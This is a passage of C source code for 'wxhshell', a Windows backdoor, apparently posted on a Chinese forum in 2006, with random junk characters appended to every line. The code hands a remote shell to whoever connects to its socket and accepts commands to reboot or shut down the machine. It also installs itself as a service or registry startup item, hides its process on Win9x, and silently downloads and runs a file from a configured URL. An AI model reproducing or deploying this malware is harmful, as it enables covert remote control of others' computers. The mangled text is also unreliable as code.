  else }j=UO*|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &)UZ9r`z  
  } 8 MIn~  
  else { p;;4b@  
USF9sF0l  
    switch(cmd[0]) { 3r{3HaN(^'  
  RmF,x9  
  // 帮助 \ G}02h  
  case '?': { 0#\K9|.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i?+ZrAx>  
    break; ?:@13wm  
  } |wF_CZ*1  
  // 安装 q-7C7q  
  case 'i': { ZAe'lgS  
    if(Install()) X.~z:W+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ze* =7  
    else =Uy;8et  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r\#_b4-v3h  
    break; ZJL8"(/R  
    } -Jqm0)2  
  // 卸载 BE,XiH;  
  case 'r': { G- _h 2  
    if(Uninstall()) #G</RYM~m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xBba&A]=  
    else [k1N-';;;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @VdkmqXz  
    break; NifD pqjgt  
    } jA<(#lm;  
  // 显示 wxhshell 所在路径 3y&N}'R(F  
  case 'p': { M%(B6};J  
    char svExeFile[MAX_PATH]; 'p%aHK{  
    strcpy(svExeFile,"\n\r"); m+66x {M2c  
      strcat(svExeFile,ExeFile); %:yp>nm  
        send(wsh,svExeFile,strlen(svExeFile),0); Eb 8vnB#  
    break; s &4k  
    } ?= G+L0t  
  // 重启 WBb@\|V|  
  case 'b': { L7kNQ/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qp#Is{=m  
    if(Boot(REBOOT)) 36]pE<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }~W:3A{7;  
    else { w&c6iFMd0  
    closesocket(wsh); xIt'o(jQH  
    ExitThread(0); Y-Iu&H+\  
    } y]3`U UvXD  
    break; _*&I[%I5  
    } p\;\hHai  
  // 关机 jl-2)<  
  case 'd': { Whoqs_Mm{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qV;E% XkkS  
    if(Boot(SHUTDOWN)) =sm<B^yj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X`/GiYTu  
    else { @wvgMu  
    closesocket(wsh); aPU.fER  
    ExitThread(0); >(EC.ke  
    } ? <F=*eS  
    break; .[8! E_  
    } /,C;fT<R  
  // 获取shell {oXU)9vj  
  case 's': { T]er_n  
    CmdShell(wsh); n>t&l8g%g  
    closesocket(wsh); ni2GZ<1j  
    ExitThread(0); q fc:%ks2  
    break; ye<b`bL2.  
  } GtuA94=!V&  
  // 退出 `!Z0; qk  
  case 'x': { Fb2,2Px  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `i!BXOOV{  
    CloseIt(wsh); ;C ^!T  
    break; M&QzsVH  
    } ?xa70Pb{;  
  // 离开 eeVDU$*e=  
  case 'q': { /gX=79  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [c^!;YBp)  
    closesocket(wsh); N F$k~r  
    WSACleanup(); QJ i5 H  
    exit(1); 0Cg}yyOz  
    break; h 8%(,$*  
        } &9+]{jXF  
  } Z Zs@P#]  
  } hqXp>.W  
g 2LY~  
  // 提示信息 2Kkm-#p7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^cUmLzM  
} "h@=O c  
  } #r|qi tL3  
1 5heLnei  
  return; ._E 6?  
} =,B Dd$e  
{})d}dEC  
// shell模块句柄 0dTHF})m  
int CmdShell(SOCKET sock) qix$ }(P  
{ lGlh/B%  
STARTUPINFO si; 'iM#iA8  
ZeroMemory(&si,sizeof(si)); "L0Q"t:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (U{,D1?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z5j\ M  
PROCESS_INFORMATION ProcessInfo; @Ojbu@A  
char cmdline[]="cmd"; YujR}=B!/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *M?[Gro/  
  return 0; \?D~&d,a=  
} oW5Ov  
70GwTK.{~  
// 自身启动模式 =.`:jZG  
int StartFromService(void) |Q(3rcOrV"  
{ pqCp>BO?O  
typedef struct xA'RO-a}h  
{ :' =le*h  
  DWORD ExitStatus; ptc.JB6  
  DWORD PebBaseAddress; } =p e;l  
  DWORD AffinityMask; n #l~B@  
  DWORD BasePriority; Bq5-L}z  
  ULONG UniqueProcessId; /n2qW.qJ>  
  ULONG InheritedFromUniqueProcessId; n2(`O^yd7C  
}   PROCESS_BASIC_INFORMATION; ]')  
Y|l&mK?  
PROCNTQSIP NtQueryInformationProcess;  erQQ_  
M=M~M$K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s||c#+j"8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >"q?P^f/  
'uW&AD p  
  HANDLE             hProcess; Z=m5V(9  
  PROCESS_BASIC_INFORMATION pbi; Gw$Y`]ipy  
4wkmgS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mP] a}[  
  if(NULL == hInst ) return 0; cq`!17"k  
uv&4 A,h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h ^.jK2I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O[|_~v:^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j0b>n#e7  
kt# t-N;}x  
  if (!NtQueryInformationProcess) return 0; 8U%y[2sT  
S"cim\9xP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zcy`8&{A<?  
  if(!hProcess) return 0; y]okOEV0  
S l`F`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1 )H;}%[  
FvJkb!5*e_  
  CloseHandle(hProcess); cCuK?3V4K  
O@>ZYA%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &R))c|>OT&  
if(hProcess==NULL) return 0;  /M@[ 8  
FfX*bqy  
HMODULE hMod; NI:3hfs  
char procName[255]; 35H.ZXQp-  
unsigned long cbNeeded; aH&Efz^  
RhWW61!"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g5;Ig  
kxLWk%V  
  CloseHandle(hProcess); `qV*R 2  
FN<S agj  
if(strstr(procName,"services")) return 1; // 以服务启动 cX#U_U~d  
#Ibpf ,  
  return 0; // 注册表启动 Gn%"B6  
} (]nX:t  
Hva/C{Y  
// 主模块 #0f6X,3  
int StartWxhshell(LPSTR lpCmdLine) c 'rn8Jo}  
{ z[qi~&7:v  
  SOCKET wsl; p4@0[z'  
BOOL val=TRUE; g_JSgH!4  
  int port=0; Ie[DTy  
  struct sockaddr_in door; [7\x(W-:@>  
Yy{(XBJ~%t  
  if(wscfg.ws_autoins) Install(); I_Omv{&u  
n#5S-z1KNw  
port=atoi(lpCmdLine); F@b=S0}K  
1'%n?\OK66  
if(port<=0) port=wscfg.ws_port; XFv^j SF  
)SHB1U25{  
  WSADATA data; ! mZWd'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t 2,?+q$x  
e8eNef L$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZUakW3f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oL7F^34;  
  door.sin_family = AF_INET; h2 y<vO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FY)US>  
  door.sin_port = htons(port); X4JSI%E  
s~m]>^?8MR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '?$R YU,  
closesocket(wsl); k+zskfo  
return 1; T930tX6"h  
} %us#p|Ya  
8<{i=V*x4  
  if(listen(wsl,2) == INVALID_SOCKET) { \ cdns;  
closesocket(wsl); WIN3*z7oW  
return 1; as(Zb*PdH  
} ><qA+/4]_  
  Wxhshell(wsl); )XDbg>  
  WSACleanup(); .;)V;!  
IN,=v+A  
return 0; 9w6 uoM  
j XYr&F  
} 3a'#Z4Z-  
<rFh93  
// 以NT服务方式启动 =z4J[8bb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZA\;9M=  
{ xKkXr-yb`f  
DWORD   status = 0; 8H,k0~D  
  DWORD   specificError = 0xfffffff; ~ \b~  
#S(b2LEc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7u:QT2=&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +(Jh$b_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?aguAqG$  
  serviceStatus.dwWin32ExitCode     = 0; ;?y~ h$  
  serviceStatus.dwServiceSpecificExitCode = 0; #itZ~tol  
  serviceStatus.dwCheckPoint       = 0; =imJ0V~RW  
  serviceStatus.dwWaitHint       = 0; /i{V21(%  
]!uId#OH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C%|m[,Gx  
  if (hServiceStatusHandle==0) return; }lP`3e  
BZ(DP_}&D  
status = GetLastError(); "y60YYn-#J  
  if (status!=NO_ERROR) ^I{/j 'b&  
{ Fd<eh(g9P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R+El/ya:6  
    serviceStatus.dwCheckPoint       = 0; Y8h 96  
    serviceStatus.dwWaitHint       = 0; kJ?AAPC  
    serviceStatus.dwWin32ExitCode     = status; <O.|pJus  
    serviceStatus.dwServiceSpecificExitCode = specificError; +$F,!rV-s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S~>R}=  
    return; > qPP_^]  
  } j^/=.cD|  
$EL:Jx2<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6Fc*&7Z+  
  serviceStatus.dwCheckPoint       = 0; wG73GD38  
  serviceStatus.dwWaitHint       = 0; agq4Zy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {B4.G8%Z  
} h@TP=  
:sttGXQX  
// 处理NT服务事件,比如:启动、停止 q0b*#j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D=SjCmG  
{ 5?0~7^de  
switch(fdwControl) 211V'|a_ >  
{ -`NzBuV$2,  
case SERVICE_CONTROL_STOP: ,YJn=9pTl  
  serviceStatus.dwWin32ExitCode = 0; 9ji`.&#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =mSu^q(l  
  serviceStatus.dwCheckPoint   = 0; 'hFL`F*  
  serviceStatus.dwWaitHint     = 0;  ?<T=g  
  { /!N=@z)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cgO<%_l3`  
  } =&<d4'(Qk  
  return; x<7?  
case SERVICE_CONTROL_PAUSE: mW~*GD~r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nb ?(zDJ8  
  break; 5vLA)Al3  
case SERVICE_CONTROL_CONTINUE: Mcq!QaO}&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; < FY%QB)h  
  break; [,{Nu EI  
case SERVICE_CONTROL_INTERROGATE: ";/ogFi  
  break; )i_:[ l6  
}; fe8hgTP|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FNw]DJ]  
} z|t2;j[  
8m?cvI  
// 标准应用程序主函数 / <%EKu5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'rq@9$h1W  
{ Ug384RzHN  
%m|1LI(  
// 获取操作系统版本 [Zzztn+  
OsIsNt=GetOsVer(); SM1L^M3)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qlnA7cK!  
/,~g"y.;,  
  // 从命令行安装 h lSav?V_  
  if(strpbrk(lpCmdLine,"iI")) Install(); @( 0O9L F  
4dm0:, G  
  // 下载执行文件 3d,:,f|h  
if(wscfg.ws_downexe) { #hk5z;J5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q3Y(K\  
  WinExec(wscfg.ws_filenam,SW_HIDE); dkqyn"^  
} c?KIHZ0  
*aq"c9  
if(!OsIsNt) { y.s\MWvv>u  
// 如果时win9x,隐藏进程并且设置为注册表启动 ] g8z@r"b  
HideProc(); GB;_!69I  
StartWxhshell(lpCmdLine); p=^6V"'  
} t,Q"Pt?  
else qe22 kE#  
  if(StartFromService()) bR;.KC3C  
  // 以服务方式启动 'Hs*  
  StartServiceCtrlDispatcher(DispatchTable); 4?bvJJuf)  
else *_P'>V#p  
  // 普通方式启动 J#q^CWN3R  
  StartWxhshell(lpCmdLine); 0{XT#H  
Az-!X!O*f  
return 0; ,6o tm  
}
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只看该作者 1 发表于: 2006-10-10
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